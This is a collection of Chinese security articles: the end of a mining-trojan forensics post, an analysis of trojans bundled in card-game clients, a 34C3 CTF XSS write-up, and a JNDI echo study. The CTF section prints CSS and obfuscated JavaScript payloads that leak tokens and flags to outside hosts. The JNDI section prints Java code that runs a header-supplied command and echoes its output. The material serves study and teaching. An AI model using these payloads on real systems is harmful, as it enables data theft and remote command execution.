然后也不知道干嘛查看了ls的路径和状态
然后就是安装矿包的过程了
不过在这之中看到了熟悉的删.ssh目录并添加authorized_keys的操作，证明了我们最初的猜想应该算正确的
然后我们简单的看下攻击包的安装
实际上是通过init和init2来保证挖矿程序的权限维持以及定时任务的写入
然后我们对anacron文件进行查看，能发现对方钱包地址，稍微查了下之前并没有出现过，可能是某个新团队在进行攻击
## 结语
第一次被人黑进来种挖矿木马，处理的方式反思了一下还能再好一点，不过在这途中也学到了不少取证相关的知识和技术，也学会了蜜罐的搭建，总的来说还是受益良多的 | 社区文章 |
# 棋牌游戏木马分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
棋牌游戏，应该算是古老而经典的一类电脑游戏了。随着互联网技术的不断提高与普及，这类颇为“古典”的游戏类型也越来越与时俱进的拥抱着互联网技术。各种在线棋牌游戏应运而生。
与大多数其他类型的网络游戏不同，在线棋牌游戏从来都不是几家大公司霸占网络的局面：这一方面自然是得益于棋牌游戏从来都不需要大公司砸下重金去做什么宏大场景和炫酷特效；另一方面，一些不法分子利用小平台管理不严的问题在这种在线棋牌游戏平台上以“玩牌”为名行“赌博”之实大肆敛财。早在2014年，温州警方就破获了一伙通过在线棋牌游戏赚到富可敌“省”的赌博团伙，在当时引起了不小的轰动。而就算到了4年后的今天，此类事件依然层出不穷。俗话说，十赌九骗（笔者倒认为应该是十赌十骗），赌博必然和各种各样的作弊手段密不可分。从传统的线下赌博挪到了在线棋牌游戏，作弊的手段当然也要跟得上形式，而新型的作弊手段自然就会用到棋牌游戏木马。
360互联网安全中心根据最近的棋牌游戏木马流行趋势，将从数据统计和技术分析的角度介绍几款典型的棋牌游戏木马分析案例，以揭露企图利用在线棋牌游戏获取不义之财的“老千”们的丑恶嘴脸。
## 正文
### **木马的存在形式**
通过对近期多款棋牌游戏木马分析整理，从中可以发现，它们的存在形式通常是如下方式
其中以“独立远控类”的占比最多，以“劫持系统组件“方式的占比最少。
**棋牌游戏木马存在形式对比**
---
**实现方式**
|
**实现难度**
|
**检测难度**
|
**隐蔽性**
|
**持久性**
**篡改游戏组件**
|
★
|
★★★
|
★★★
|
★
**劫持系统组件**
|
★★
|
★
|
★
|
★★★
**独立远控类**
|
★★★
|
★★
|
★★
|
★★★
这种情况的产生，从上表可以得到结论
* “篡改游戏组件”的持久性较低，当游戏卸载时木马模块也一同卸载
* “独立远控类”虽然实现难度最高，但其所带来的其他特性都很高，值得攻击者尝试
* “篡改系统组件”方式存在很大的弊端——其检测难度很低，所以并不多见
总体来讲，通过篡改游戏组件和独立远控类方式的居多，本文所提到的样本主要也是以这两类为标准进行筛选，下文是对典型案例的分析。
**篡改游戏组件**
由于篡改游戏组件拥有相对来讲很强的隐蔽性，通常都是由木马传播者经过精心设计出来，有很强的针对性，这种针对性具体体现在下面两点，
* 优先考虑能在自身模块内实现功能的
* 优先选取通用型模块，即一个木马模块稍加修改(模块名称)后在其他棋牌游戏客户端下也可运行
**使用Satellite DLL特性劫持**
这款被篡改的名为6377游戏中心客户端内，攻击者放入了名为6377gameCHS的DLL文件，当主程序6377game.exe启动时，MFC运行时判断当前系统主UI为简体中文，则自动加载上述DLL模块。当DLL启动后,首先对进程名称进行校验，之后加载MFC71u.dll
对其InitInstance进行hook，使得窗体初始化函数失效，
之后开启一个线程，对游戏内主要行为代码进行hook，
同时，在run_StartVhookstub函数中，会不断使用rundll32启动自身模块，
并抓取用户屏幕保存图片后回传控制端
这款木马相对一个远控来讲，其功能单一，主要功能仅完成“窃取虚拟账户”、“抓取屏幕”两种，但也正是如此，使其具有很强的隐蔽性。
**篡改通用组件zlib**
zlib是提供数据压缩用的函式库，被广泛应用在数据存储与数据传输过程中。在这款被篡改的名为集结游戏中心的客户端内，zlib模块被重新进行了编译，并在DLL入口处加入了内存加载代码，用于加载木马模块123.gif
当123.gif启动后执行t8导出函数，通过hook拦截游戏进程逻辑，
其他功能如数据回传，文件更新等不再赘述。
### **独立远控类**
上节主要介绍了以“篡改游戏组件”方式存在的木马模块，由于其目的性极强——以窃取用户虚拟游戏帐号资产为目的，实质的危害性相对来说比“独立远控类”方式略小，因为本节介绍的案例样本均为具备完整远程控制功能的木马，实质的危害性取决于控制者。
大多数该类型木马很多都是购买的“免杀”木马，除使用在棋牌游戏中之外，还广泛的使用于网购诈骗，游戏盗号等过程中。
**gamepatch** **类木马**
gamepatch类木马流传已久，最早可以追溯到15，16年左右，该类木马的特点如下，
1. 大多存在一个名为gamepatch的文件夹
2. 使用可按配置进行操作的白程序用于对抗安全软件防护功能
3. 使用多款第三方工具程序，完成转移、拼接等还原远控模块的逻辑
这里，以一款名为3099游戏的客户端进行举例说明，当客户端安装成功后，其桌面的快捷方式指向的已经不是原始游戏主程序，取而代之的是一个含有顺网签名的程序，由于该类程序广泛的应用于网吧内部客户机上作为启动器使用，为了后期尽可能少的更改，开发人员直接使用配置文件方式控制程序流程，由于配置文件的格式全部以ini格式组织，且名称固定，这无疑给这些木马作者留下了一大笔”财富”用于对抗杀软防护功能。当受害者点击桌面的游戏图标后，完成如下逻辑，
1.启动第一阶段bat脚本，部署好后续文件，a.写注册表启动项，b.还原rar文件并解压第二阶段bat脚本
2.启动第二阶段bat脚本，首先写回MZ等恢复自身木马DLL模块，根据不同杀软情况执行不同逻辑
比较典型的在”只有360″情况下，bat脚本尝试断网运行，使用名为dw.lnk实际运行ipconfig.exe
/release命令达到断网目的，这一招使得目前绝大多数基于云查杀的杀软“失效”。
同时另外一点比较有意思的写注册表启动项方式，是使用%temp%\zc.exe advpack.dll,LaunchINFSectionEx
%temp%\zc.inf,DefaultInstall,,32的lnk文件，也即使用rundll32加载inf文件写入注册表。
最后，如果执行顺利，则会直接或重启后启动远控模块。
**850Game**
在这款被篡改后的850棋牌游戏客户端内，其安装程序在执行时会释放远控模块在C:\\\$MSRecycle.Bin下并执行，
当远控模块执行时，首先对自身进程路径以及工作目录进行判断及调整，之后内存加载IO.dat文件
而IO.dat文件中，包含了5个PE文件如下，
其中编号为1的PE文件是某游戏公司签名文件，由于现代化的杀软普遍支持“游戏模式”，所以当该程序运行时，杀软默默进入“静默模式”，这使得部分非严重弹窗直接默认屏蔽，用户基本无感知。
编号为4的PE文件是带签名白文件，该程序默认启动当前目录下qq.exe，被用来当做远控的启动器。
同时，IO.dat尝试通过BITS后台传输服务尝试逃避检测，其逻辑为先创建BITS后台服务，再指定回调CMD命令，当创建服务成功后执行指定命令。
本样本通过regsvr32执行本地sct文件，主要内容如下
### 启动时机把握
上面对木马存在的形式进行了四个案例的分析，本节主要对远控类木马上线时机进行简单总结，
如图所示，有部分远控木马会在棋牌游戏客户端安装程序执行时立即启动，通过联网下拉方式替换游戏内客户端模块，并且根据当前系统环境判断是否以及使用何种方式实现持久化；
另外一部分选择重启后启动，该种远控类型通常有比较成熟的对抗安全软件防护功能方案；
而还有一些比较少见的如通过注销重登入方式延迟启动，当然前提是已经成功写好对应启动项。
**攻击者**
通过对现有样本模块的分析，可以推测，当前的攻击者角色有
1.木马开发、发布者，通过对客户端解包后植入木马模块再发布
2.模块供应链，棋牌游戏客户端中使用的某些第三方供应链模块(例如通用游戏平台模块、压缩加密库等)被植入恶意代码
3.棋牌客户端本身，开发者自行植入远控模块
**受害者**
经过统计今年来的受害者地区分布，得到如下图表，
可以发现四川、湖北以及湖南地区受害者偏多。
## 总结
由于在线棋牌游戏受众广泛且其中涉及到的潜在利润巨大，与之相伴生的棋牌木马也从未停止过自己作恶的脚部。这些捆绑了木马的虚假棋牌游戏多采用搜索引擎竞价排名的方式，靠正版游戏的热度给自己带来可观的流量。这种模式是各种灰色产业的导流主力，建议大家不要轻信搜索结果，请认准官网，同时注意开启安全防护软件，避免自身沦为棋牌游戏木马的受害者。
## REF
[1]. http://www.freebuf.com/news/75775.html <技术分析：在线棋牌游戏的木马“集结号”>
[2]. https://security.tencent.com/index.php/blog/msg/20 <DLL劫持漏洞解析> | 社区文章 |
作者：LoRexxar'@知道创宇404实验室
34c3应该算是2017年年末的最后一个惊喜了，比赛题目虽然有非预期导致难度降了很多，但是从CTF中能学到什么才是最重要的，其中Web有3个XSS题目，思路非常有趣，这里整理了一下分享给大家。
#### urlstorage
初做这题目的时候感觉又很多问题，本以为最后使用的方法是正解，没想到的是非预期做法，忽略了题目本身的思路，抛开非预期不管，题目本身是一道非常不错的题目，用了css
rpo来获取页面的敏感内容。
###### CSS RPO
首先我们需要先解释一下什么是CSS RPO,RPO 全称Relative Path
Overwrite，主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞，通过一些技巧，我们可以通过相对路径来引入其他的资源文件，以至于达成我们想要的目的。
先放几篇文章
<http://www.thespanner.co.uk/2014/03/21/rpo/>
<http://www.zjicmisa.org/index.php/archives/127/>
这里就不专门讲述RPO的种种攻击方式，这里只讨论CSS RPO，让我们接着看看题目。
###### Writeup
回到题目。
整个题目站点是django写的，然后前台用nginx做了一层反代。
然后整站带有CSP
frame-ancestors 'none'; form-action 'self'; connect-src 'self'; script-src 'self'; font-src 'self' ; style-src 'self';
站点内主要有几个功能，每次登陆都会生成独立的token，`/urlstorage`页面可以储存一个url链接，`/flag`页面会显示自己的token和flag（根据token生成）
仔细研究不难发现一些其他的条件。
1. flag页面只接受token的前64位，而token则是截取了token的前32位做了判断，在token后我们可以加入32位任意字符。
2. flag页面有title xss，只要闭合`</title>`就可以构造xss，虽然位数不足，我们没办法执行任何js。
3. urlstorage页面存在csrf，我们可以通过让服务端点击我们的链接来修改任意修改url
但是，很显然，这些条件其实并不够足以获取到服务端的flag。
但题目中永远不会出现无意义的信息，比如urlstorage页面，在刚才的讨论中，urlstorage页面中修改储存url的功能可以说毫无意义，这时候就要提到刚才说的RPO了。
首先整个站点是django写的，所有页面都是通过路由表实现的，所以无论我们在后面加入什么样的链接，返回页面都是和urlstorage一样的
http://35.198.114.228/urlstorage/random_str/1321321421
-->
http://35.198.114.228/urlstorage
看上去好像没什么问题，但是页面内的静态资源是通过相对路径引入的。
因为我们修改了根url，所以css的引入url变成了
我们把当前页面当做成css样式表引入到了页面内。
这里我们可以通过设置url来向页面中加入一些可以控制的页面内容。
这里涉及到一个小技巧： **CSS在加载的时候与JS一样是逐行解析的，不同的是CSS会忽略页面中不符合CSS语法的行**
也就是说如果我们设置url为`%0a{}%0a*{color:red}`
那么页面内容会变成
当引入CSS逐行解析的时候，`color:red`就会被解析
通过设置可控的css，我们就可以使用一个非常特别的攻击思路。
我曾经在讲述CSP的博客中提到了这种攻击思路，通过CSS选择器来读取页面内容 <https://lorexxar.cn/2017/10/25/csp-paper/#1、nonce-script-CSP-Bypass>
a[href^=flag\?token\=0]{background: url(//l4w.io/rpo/logging.php?c=0);}
a[href^=flag\?token\=1]{background: url(//l4w.io/rpo/logging.php?c=1);}
..
a[href^=flag\?token\=f]{background: url(//l4w.io/rpo/logging.php?c=f);}
当匹配a标签的href属性中token开头符合的时候，就会自动向远程发送请求加载图片，服务端接收到请求，就代表着匹配成功了，这样的请求我们可以重复多次，就能获取到admin的token了。
这里有个小细节，服务端每次访问都会重新登陆一次，每次重新登陆都会刷新token，所以题目在contact页面还给出了一个脚本pow.py，通过这个脚本，服务端会有30s时间来访问我们的所有url，这样我们就有足够的时间拿到服务端的token。
但是问题来了，我们仍然没办法获取到flag页面的flag。
这里需要一个新的技巧。
在浏览器处理相对路径时，一般情况是获取当前url的最后一个`/`前作为base
url，但是如果页面中给出了base标签，那么就会读取base标签中的url作为base url。
那么，既然flag页面的token参数，我们有24位可控，那么我们完全可以引入`/urlstorage`作为base标签，这样CSS仍然会加载urlstorage页面内容，我们就可以继续使用CSS
RPO来获取页面内容。
这里还有个小坑
当我们试图使用下面的payload来获取flag时
#flag[value^=34C3]{background: url(https://xxx?34c3);}
字符串首位的3不会被识别为字符串，必须使用双引号包裹才能正常解析。但是双引号被转义了。
这里我们需要换用`*`
*号选择器代表这属性中包含这个字段，由于flag中有_存在，所以不会对flag的获取有影响
payload如下
#flag[value*=C3_1]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}
#flag[value*=C3_0]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}
..
#flag[value*=C3_f]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);}
完全的payload我就不专门写了，理解题目的思路比较重要。
整个题目的利用链非常精巧，服务端bot比我想象中要强大很多，有趣的是，整个题目存在配置的非预期，我一度认为非预期解法是正解。
###### 非预期
以前在pwnhub第二期中曾经接触到过一个知识点，django的静态资源路由（static）本身就是通过映射静态资源目录实现的，当django使用nginx做反代时，如果nginx配置出现问题，那么就有可能存在导致源码泄露的漏洞。34c3的所有django的web题目都有这个漏洞。
当我们访问
http://35.198.114.228/static../views.py
就可以获取到源码，让我们锁定flag页面的源码
@login_required
def flag(req):
user_token = req.GET.get("token")
if not user_token:
messages.add_message(req, messages.ERROR, 'no token provided')
return redirect('index')
user_flag = "34C3_"+hashlib.sha1("foqweqdzq%s".format(user_token).encode("utf-8")).hexdigest()
return render(req, 'flag.html', dict(user=req.user,
valid_token=user_token.startswith(req.user.profile.token),
user_flag=user_flag,
user_token=user_token[:64],))
我们可以看到user_flag是通过token生成的，而token是登陆时随机生成的
def login(req):
if req.user.is_authenticated:
return redirect('index')
if req.method == "POST":
username = req.POST.get("username")
password = req.POST.get("password")
if not username or not password:
messages.add_message(req, messages.ERROR, 'No username/password provided')
elif len(password) < 8:
messages.add_message(req, messages.ERROR, 'Password length min 8.')
else:
user, created = User.objects.get_or_create(username=username)
if created:
user.set_password(password)
user.save()
user = auth.authenticate(username=username, password=password)
if user:
user.profile.token = binascii.hexlify(os.urandom(16)).decode()
user.save()
auth.login(req, user)
return redirect('index')
else:
messages.add_message(req, messages.ERROR, 'Invalid password')
return render(req, 'login.html')
return render(req, 'login.html')
所以不难想象到，如果admin的flag也随机生成，那flag就不固定了，所以admin的flag一定是写死在模板里的。
很容易就拿到了flag。
#### superblog
这道题目做起来没有urlstorage有趣，比赛途中我的思路也是卡在了如何执行我想要的js语句，因为符号的限制，让很多Bypass
CSP的思路都断了，这里感谢@超威蓝猫的wp提到的绕过思路，比起外国友人的强行xuerao绕过滤来说，思路更有趣，值得学习。
###### 第一种思路
下面的思路部分来自于 <https://blog.cal1.cn/post/34C3%20CTF%20web%20writeup>
有趣的是，这道题目也是用django写的，也是用了nginx做反代，于是源码再一次泄露了，通过源码我们可以简化很多思路。
在分析源码之前，我们可以简单的从黑盒的角度看看题目的各种信息。
1、首先从feed页面可以发现，django 1.11.8 开启了debug
然后我们可以拿到路由表
^$ [name='index']
^post/(?P<postid>[^/]+)$ [name='post']
^flag1$ [name='flag1']
^flag2$ [name='flag2']
^flag_api$ [name='flag_api']
^publish$ [name='publish']
^feed$ [name='feed']
^contact$ [name='contact']
^login/$ [name='login']
^logout/$ [name='logout']
^signup/$ [name='signup']
^static\/(?P<path>.*)$
同时还会泄露部分源码，可以发现flag1和flag2的获取方式分别为
1. admin账号访问flag1就可以得到flag1
2. flag2需要向flag_api发送请求
2、feed有一个`type`参数可以指定json、jsonp的返回类型，同时还接受cb参数，cb中有很多很多过滤，但是可以被绕过
<script src=’/feed?type=jsonp&cb=alert`a`;’ ></script>
3、页面中有比较严格的CSP
default-src 'none'; base-uri 'none'; frame-ancestors 'none'; connect-src 'self'; img-src 'self'; style-src 'self' https://fonts.googleapis.com/; font-src 'self' https://fonts.gstatic.com/s/materialicons/; form-action 'self'; script-src 'self';
4、content没有任何转义，存在XSS漏洞
5、bot访问的是本地的django，而不是nginx
superblog1 + superblog2 information
When submitting a post ID to the admin, he will visit the URL http://localhost:1342/post/<postID>.
He uses a headless Google Chrome, version 63.0.3239.108.
其实题目不需要完整源码，我们仍然可以想到差不多的思路，这里我们再从源码的角度分析一下，便于理解。
views.py
import re
import json
import traceback
import random
from django.http import HttpResponse
from django.shortcuts import redirect, render
from django.template import loader
from django.views.decorators.http import require_safe, require_POST
from django.contrib.auth.decorators import user_passes_test
from django.core.exceptions import PermissionDenied
from django.contrib.auth import login, authenticate
from django.contrib.auth.forms import UserCreationForm
from django.contrib import messages
import models
from random import SystemRandom
def get_user_posts(user):
if not user.is_authenticated:
return []
else:
return models.Post.objects.filter(author=user).all()
gen = SystemRandom()
def generate_captcha(req):
n = 2
d = 8
ops = '+'
while True:
nums = [gen.randint(10**(d-1), 10**d-1) for _ in range(n)]
ops = [gen.choice(ops) for _ in range(n-1)]
captcha = ' '.join('%s %s' % a for a in zip(nums,ops+[1]))[:-2]
answer = eval(captcha)
if -2**31 + 10 <= answer <= 2**31-10:
break
# print 'Captcha:', captcha
req.session['captcha'] = captcha
req.session['captcha_answer'] = str(eval(captcha))
if random.random() < 0.003:
req.session['captcha'] = r'(__import__("sys").stdout.write("I WILL NOT RUN UNTRUSTED CODE FROM THE INTERNET\n"*1337), %s)[1]'%req.session['captcha']
return req.session.get('captcha')
def check_captcha(req):
res = req.POST.get('captcha_answer') == req.session.get('captcha_answer')
# if not res:
# print 'Captcha failed:', req.POST.get('captcha_answer'), req.session.get('captcha_answer')
return res
@require_safe
def index(req):
if not req.user.is_authenticated:
return redirect('login')
return render(req, 'blog/index.html', {
'posts': get_user_posts(req.user),
'captcha': generate_captcha(req),
})
@require_safe
def post(req, postid):
post = models.Post.objects.get(secretid=postid)
return render(req, 'blog/post.html', {
'post': post,
'captcha': generate_captcha(req),
})
def contact(req):
if req.method == 'POST':
if not check_captcha(req):
messages.add_message(req, messages.ERROR, 'Invalid or outdated captcha')
return redirect('contact')
postid = req.POST.get('postid')
valid = False
try:
models.Post.objects.filter(secretid=postid).get()
valid = True
except:
traceback.print_exc()
if not valid:
messages.add_message(req, messages.ERROR,
'That does not look like a valid post ID')
return redirect('contact')
url = 'http://localhost:1342/post/' + postid
models.Feedback(url=url).save()
messages.add_message(req, messages.INFO,
'Thank you for your feedback, an admin will look at it ASAP')
return redirect('index')
else:
feedback_count = models.Feedback.objects.filter(visited=False).count()
return render(req, 'blog/contact.html', {
'feedback_count': feedback_count,
'captcha': generate_captcha(req),
})
def signup(req):
if req.method == 'POST':
form = UserCreationForm(req.POST)
if form.is_valid():
form.save()
username = form.cleaned_data.get('username')
raw_password = form.cleaned_data.get('password1')
user = authenticate(username=username, password=raw_password)
login(req, user)
return redirect('index')
else:
form = UserCreationForm()
return render(req, 'blog/signup.html', {'form': form})
def get_flag(req, num):
if req.user.username == 'admin' and req.META.get('REMOTE_ADDR') == '127.0.0.1':
with open('/asdjkasecretflagfile%d' % num) as f:
return f.read()
else:
return '34C3_JUSTKIDDINGGETADMINANDACCESSFROMLOCALHOSTNOOB'
@require_safe
def feed(req):
posts = get_user_posts(req.user)
posts_json = json.dumps([
dict(author=p.author.username, title=p.title, content=p.content)
for p in posts])
type_ = req.GET.get('type')
if type_ == 'json':
resp = HttpResponse(posts_json)
resp['Content-Type'] = 'application/json; charset=utf-8'
elif type_ == 'jsonp':
callback = req.GET.get('cb')
bad = r'''[\]\\()\s"'\-*/%<>~|&^!?:;=*%0-9[]+'''
if not callback.strip() or re.search(bad, callback):
raise PermissionDenied
resp = HttpResponse('%s(%s)' % (callback, posts_json))
resp['Content-Type'] = 'text/javascript; charset=utf-8'
return resp
@require_POST
def publish(req):
if req.user.username == 'admin':
messages.add_message(req, messages.INFO,
'Sorry but admin cannot post for security reasons')
return redirect('/')
if not check_captcha(req):
messages.add_message(req, messages.ERROR, 'Invalid or outdated captcha')
return redirect('/')
models.Post(author=req.user,
content=req.POST.get('post'),
title=req.POST.get('title')).save()
return redirect('/')
@require_POST
def flag_api(req):
if not check_captcha(req):
raise PermissionDenied
resp = HttpResponse(json.dumps(get_flag(req, 2)))
resp['Content-Type'] = 'application/json; charset=utf-8'
return resp
@require_safe
def flag1(req):
return render(req, 'blog/flag1.html', {'flag': get_flag(req, 1)})
@require_safe
def flag2(req):
return render(req, 'blog/flag2.html', {'captcha': generate_captcha(req)})
1、flag获取首先有一个前置条件
def get_flag(req, num):
if req.user.username == 'admin' and req.META.get('REMOTE_ADDR') == '127.0.0.1':
with open('/asdjkasecretflagfile%d' % num) as f:
return f.read()
else:
return '34C3_JUSTKIDDINGGETADMINANDACCESSFROMLOCALHOSTNOOB'
后一个条件由于经过nginx反代，所以没什么用，主要问题是前一个。
req.user.username并不是通过django本身的session设置的，所以即使我们获取到settings中的SECRET_KEY也没有意义，也就是说，我们只能通过bot获取flag。
2、feed页面存在jsonp接口，但是有大把多过滤，忽略了能用上的``{}.$`这几个
@require_safe
def feed(req):
posts = get_user_posts(req.user)
posts_json = json.dumps([
dict(author=p.author.username, title=p.title, content=p.content)
for p in posts])
type_ = req.GET.get('type')
if type_ == 'json':
resp = HttpResponse(posts_json)
resp['Content-Type'] = 'application/json; charset=utf-8'
elif type_ == 'jsonp':
callback = req.GET.get('cb')
bad = r'''[\]\\()\s"'\-*/%<>~|&^!?:;=*%0-9[]+'''
if not callback.strip() or re.search(bad, callback):
raise PermissionDenied
resp = HttpResponse('%s(%s)' % (callback, posts_json))
resp['Content-Type'] = 'text/javascript; charset=utf-8'
return resp
3、整站的返回头是通过django middleware 添加，但是static目录是直接通过nginx处理的，所以没有CSP头
题目思路完整了，我们就需要构造可以利用的攻击链
无论我们怎么获取flag，我们都需要通过操作static页面来执行js传出，否则就会被CSP拦截，所以我们必须通过多个页面来相互操作修改页面，才能实现我们的需求。
这里需要用到一个在HCTF2017中提到过的攻击方式，叫做SOME.
关于SOME的细节可以看以前的博客 <https://lorexxar.cn/2017/11/15/hctf2017-deserted-world/>
这里就不细讲了，通过SOME，我们可以通过执行js来操作另一个页面中的dom
执行流程大致如下
1、打开页面，通过a标签的的click来实现页面的跳转，跳转至localhost（nginx）下
<a id="aa" href="http://localhost/post/{post1}"></a>
<script src="/feed?type=jsonp&cb=document.getElementById`aa`.click``,console.log"></script>
2、先拿flag1，两次点击，一个打开flag1页面，一个跳转到下一个js页面
<a id="aa" href="{post2}" target="_blank"></a>
<a id="bb" href="/flag1"></a>
<script src="/feed?type=jsonp&cb=document.getElementById`aa`.click``,document.getElementById`bb`.click``,console.log"></script>
3、通过两次点击，打开一个static目录的页面，然后跳转到下一个js执行的页面
<a id="aa" href="{post3}" target="_blank"></a>
<a id="bb" href="/static/"></a>
<script src="/feed?type=jsonp&cb=document.getElementById`aa`.click``,document.getElementById`bb`.click``,console.log"></script>
4、通过向static页面写入外部js来执行任意js代码，为了更好的处理，payload可以写入标题，写入代码可以写在内容里。
标题：<script src="http://xxxxx/evil.js"></script>
内容：<script src="/feed?type=jsonp&cb=opener.document.write`${document.body.firstElementChild.nextElementSibling.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.firstElementChild.innerText}`,console.log"></script>
接下来就是随意开火了，因为evil.js里没有任何限制，你可以做任何需要的操作。
一个完整的利用链就形成了
有趣的是，这个题目是可以强行绕waf来执行js的。
###### 另一种解法
在ctftime的writeup区域，看到了一种强行绕过waf的解法
<https://gist.github.com/cgvwzq/2d875cb4bd752a99ca239e6ffe64f849>
上面曾经提到过，关于符号的过滤，遗留下了几个特别的还能利用的字符``{}.$`,没想到的是，通过这几个字符，可以强行构造可执行的js
<!-- superblog 1 - flag: 34C3_so_y0u_w3nt_4nd_learned_SOME_javascript_g00d_f0r_y0u -->
<script>
document.write`${Array.call`${atob`PA`}${`l`}${`i`}${`n`}${`k`}${atob`IA`}${`r`}${`e`}${`l`}${atob`PQ`}${atob`Ig`}${`p`}${`r`}${`e`}${`f`}${`e`}${`t`}${`c`}${`h`}${atob`Ig`}${atob`IA`}${`h`}${`r`}${`e`}${`f`}${atob`PQ`}${atob`Ig`}${`h`}${`t`}${`t`}${`p`}${atob`Og`}${atob`Lw`}${atob`Lw`}${`evil`}${atob`Lg`}${`com`}${atob`Og`}${atob`Lw`}${Math.random``}${`_`}${escape.call`${document.getElementsByTagName`link`.item``.import.body.innerText}`}${atob`Ig`}${atob`Pg`}`.join``}`,
</script>
<!-- superblog 2 - flag: 34C3_h3ncef0rth_peopl3_sh4ll_refer_t0_y0u_only_4s_th3_ES6+DOM_guru -->
<script>
document.write`${foo.import.body.innerHTML}`,document.write`${Array`${atob`PA`}${`input`}${atob`IA`}${`form`}${atob`PQ`}${`flagform`}${atob`IA`}${`name`}${atob`PQ`}${`captcha_answer`}${atob`IA`}${`x`}${atob`PQ`}${atob`Ig`}`.join``}${atob`Ig`}${`value`}${atob`PQ`}${parseInt.call`${foo.import.getElementById`flagform`.firstChild.nextSibling.nextSibling.textContent.split`%2b`.shift``}`%2bparseInt.call`${foo.import.getElementById`flagform`.firstChild.nextSibling.nextSibling.textContent.split`%2b`.pop``}`}${atob`Pg`}`,document.write`${atob`PA`}${`script`}${atob`IA`}${`src`}${atob`PQ`}${atob`Lw`}${`feed`}${atob`Pw`}${`type`}${atob`PQ`}${`jsonp`}${atob`Jq`}${`cb`}${atob`PQ`}${`flagform.lastElementChild.click`}${atob`YA`}${atob`YA`}${`,document.write${atob`YA`}${atob`JA`}${`{localStorage.getItem`}${atob`YA`}${`$`}${`{`}${atob`YA`}${atob`YA`}${`}`}${atob`YA`}${`}`}${`$`}${`{flag.innerText}`}${atob`YA`}${`,`}${atob`Pg`}${atob`PA`}${atob`Lw`}${`script`}${atob`Pg`}`}`,localStorage.setItem`${Array.call`}${atob`PA`}${`link`}${atob`IA`}${`rel`}${atob`PQ`}${atob`Ig`}${`prefetch`}${atob`Ig`}${atob`IA`}${`href`}${atob`PQ`}${`http`}${atob`Og`}${atob`Lw`}${atob`Lw`}${`evil`}${atob`Lg`}${`com`}${atob`Og`}${atob`Lw`}${Math.random``}${`_`}`.join``}`,
</script>
其中所有的敏感符号通过解base64获得，然后写入页面内执行
最后通过
<link rel="prefetch" href="xxxxx.xx">
把数据传出...
#### ref
* RPO: <http://www.thespanner.co.uk/2014/03/21/rpo/>
* CSS RPO: <http://www.zjicmisa.org/index.php/archives/127/>
* CSS RPO+XSS: <https://lorexxar.cn/2017/10/25/csp-paper/#1、nonce-script-CSP-Bypass>
* 蓝猫师傅的博客: <https://blog.cal1.cn/post/34C3%20CTF%20web%20writeup>
* SOME: <https://lorexxar.cn/2017/11/15/hctf2017-deserted-world/>
* * * | 社区文章 |
# JNDI实现回显研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、前言
最近出的回显文章内容毕竟多，linux下反序列化通杀回显，tomcat拿`org.apache.catalina.core.ApplicationDispatcher`类的response和request实现回显。之前就想过jndi注入能否实现回显，先看一遍jndi原理。
> 1. 目标代码中调用了InitialContext.lookup(URI)，且URI为用户可控；
> 2. 攻击者控制URI参数为恶意的RMI服务地址，如：rmi://hacker_rmi_server//name；
> 3. 攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；
> 4.
> 目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例；
> 5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果；
>
当时的想法是，如果获取web服务器回显类，通过这种方式实现回显，必须是在web服务器运行时注入代码，也就是在web环境下。但是jndi是通过远端去加载恶意类，应该是不在web环境下。后来给清水川崎交流的时候，他说jndi也能实现回显，遂就有了下文。
## 2、环境构建
首先，搭建一个有jndi注入的web服务器，我这里选择weblogic 10.3.6版本，no
patch，jdk版本选择Jdk7u21。用cve-2017-10271中`com.sun.rowset.JdbcRowSetImpl`这个payload打一发，本地先测成功。
接着想法是`JNDI Naming Reference`的限制太多了，恶意类又难生成，LDAP Server除了使用JNDI
Reference进行利用之外，还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空，则客户端的
obj.decodeObject()
方法就会对这个字段的内容进行反序列化，这样利用ldap注入代码也方便点，下一步去找weblogic线程类，输入输出类。lufei表哥已经写过文章了：<https://xz.aliyun.com/t/5299#toc-9>，这就省了很多事。直接用他的代码：
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
String[] cmds = new String[]{"cmd.exe", "/c", lfcmd};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(output));
outputStream.flush();
response.getWriter().write("");
接着为了让服务器能够注入代码，选一条gadget，这里选择Jdk7u21这条链。怎么让gadget不执行命令，而是执行java代码看这篇文章：<https://blog.csdn.net/fnmsd/article/details/79534877>
拿到gadget 进行base64编码，拷贝到`HackerLDAPRefServer`类这里。
开启HackerLDAPRefServer，看一下回显效果，这里已经收到请求，回显也能够回显，看来是之前的猜想错了，还是rmi理解的不够深刻。
在重新理解rmi客户端和服务器相互调用时，看到6时，才反应过来，即使是远程加载恶意类，也相当于是本地执行，当然也就能拿到weblogic回显的线程类。
具体调试时，可以发现在触发jndi注入后，继续触发反序列化操作
下图就是执行代码过程，之前犯的错误就是上图，将jndi注入和反序列化操作割裂开了，实际是按顺序触发的。
## 3、jndi其他回显方法
最后提一嘴，jndi能出外网回显的利用总结，能弹shell那就不用说啥了：
> 1、
> 向系统可写web目录写文件/js文件写命令，在读取这个文件实现回显。（获取网站绝对路径，可以读.bash_hitory，服务器默认配置文件，框架自带的log，报错获得）
> 2、通过dnslog拿到回显内容：
> windows:
